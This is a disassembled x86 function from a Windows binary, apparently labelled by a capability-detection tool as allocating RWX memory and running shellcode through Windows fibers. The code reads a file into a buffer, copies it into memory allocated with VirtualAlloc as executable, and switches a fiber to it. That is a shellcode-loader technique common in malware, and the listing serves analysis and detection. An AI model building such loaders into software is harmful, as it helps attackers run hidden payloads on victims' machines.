Function at 0x100023b0
Capabilities:
Allocate or change rwx memory
Execute shellcode via windows fibers

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1001cab3
mov eax, dword fs:[0]
push eax
sub esp, 0xd0
push ebx
push esi
push edi
mov eax, dword [0x1002b00c]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
sub esp, 0xc
mov dword [ebp - 4], 0
lea eax, [ebp + 8]
lea ecx, [ebp - 0xc4]
push eax
call fcn.10002700
mov byte [ebp - 4], 1
mov eax, dword [ebp - 0xc4]
mov eax, dword [eax + 4]
test byte [ebp + eax - 0xb8], 6
jne 0x10002545
push 2
sub esp, 8
lea ecx, [ebp - 0xc4]
call fcn.100032b0
lea eax, [ebp - 0xdc]
push eax
lea ecx, [ebp - 0xc4]
call fcn.100031d0
push 0
sub esp, 8
lea ecx, [ebp - 0xc4]
mov edi, dword [eax + 8]
add edi, dword [eax]
call fcn.100032b0
push edi
call fcn.10005428
add esp, 4
lea ecx, [ebp - 0xc4]
mov ebx, eax
mov eax, edi
cdq
push edx
push eax
push ebx
call fcn.100033c0
lea ecx, [ebp - 0xb4]
call fcn.10004230
test eax, eax
jne 0x1000249c
mov eax, dword [ebp - 0xc4]
lea ecx, [ebp - 0xc4]
push 0
mov eax, dword [eax + 4]
add ecx, eax
mov edx, dword [ecx + 0xc]
or edx, 2
mov eax, edx
or eax, 4
cmp dword [ecx + 0x38], 0
cmovne eax, edx
push eax
call fcn.100020a0
mov ecx, dword [ebp - 0xc4]
mov eax, dword [ecx + 4]
test byte [ebp + eax - 0xb8], 6
jne 0x100024ec
push 0
call dword [sym.imp.KERNEL32.dll_ConvertThreadToFiber]
push 0x40
push 0x3000
push edi
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
mov esi, eax
push ebx
push esi
call fcn.10008d90
add esp, 0xc
push 0
push esi
push 0
call dword [sym.imp.KERNEL32.dll_CreateFiber]
push eax
call dword [sym.imp.KERNEL32.dll_SwitchToFiber]
mov ecx, dword [ebp - 0xc4]
mov eax, dword [ecx + 4]
mov dword [ebp + eax - 0xc4], vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0xc4]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x70]
mov dword [ebp + ecx - 0xc8], eax
lea ecx, [ebp - 0xb4]
call fcn.10003120
mov eax, dword [ebp - 0xc4]
mov eax, dword [eax + 4]
mov dword [ebp + eax - 0xc4], vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0xc4]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x18]
mov dword [ebp + ecx - 0xc8], eax
mov byte [ebp - 4], 2
jmp 0x10002599
mov dword [ebp + eax - 0xc4], vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0xc4]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x70]
mov dword [ebp + ecx - 0xc8], eax
lea ecx, [ebp - 0xb4]
call fcn.10003120
mov eax, dword [ebp - 0xc4]
mov eax, dword [eax + 4]
mov dword [ebp + eax - 0xc4], vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0xc4]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x18]
mov dword [ebp + ecx - 0xc8], eax
mov byte [ebp - 4], 3
lea eax, [ebp - 0x54]
mov dword [ebp - 0x54], vtable.std::ios_base.0
push eax
call fcn.1000622c
mov eax, dword [ebp + 0x1c]
add esp, 4
cmp eax, 0x10
jb 0x100025f6
mov ecx, dword [ebp + 8]
inc eax
cmp eax, 0x1000
jb 0x100025ed
test cl, 0x1f
je 0x100025c9
call fcn.1000b1f2
mov eax, dword [ecx - 4]
cmp eax, ecx
jb 0x100025d5
call fcn.1000b1f2
sub ecx, eax
cmp ecx, 4
jae 0x100025e1
call fcn.1000b1f2
cmp ecx, 0x23
jbe 0x100025eb
call fcn.1000b1f2
mov ecx, eax
push ecx
call fcn.10004c76
add esp, 4
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret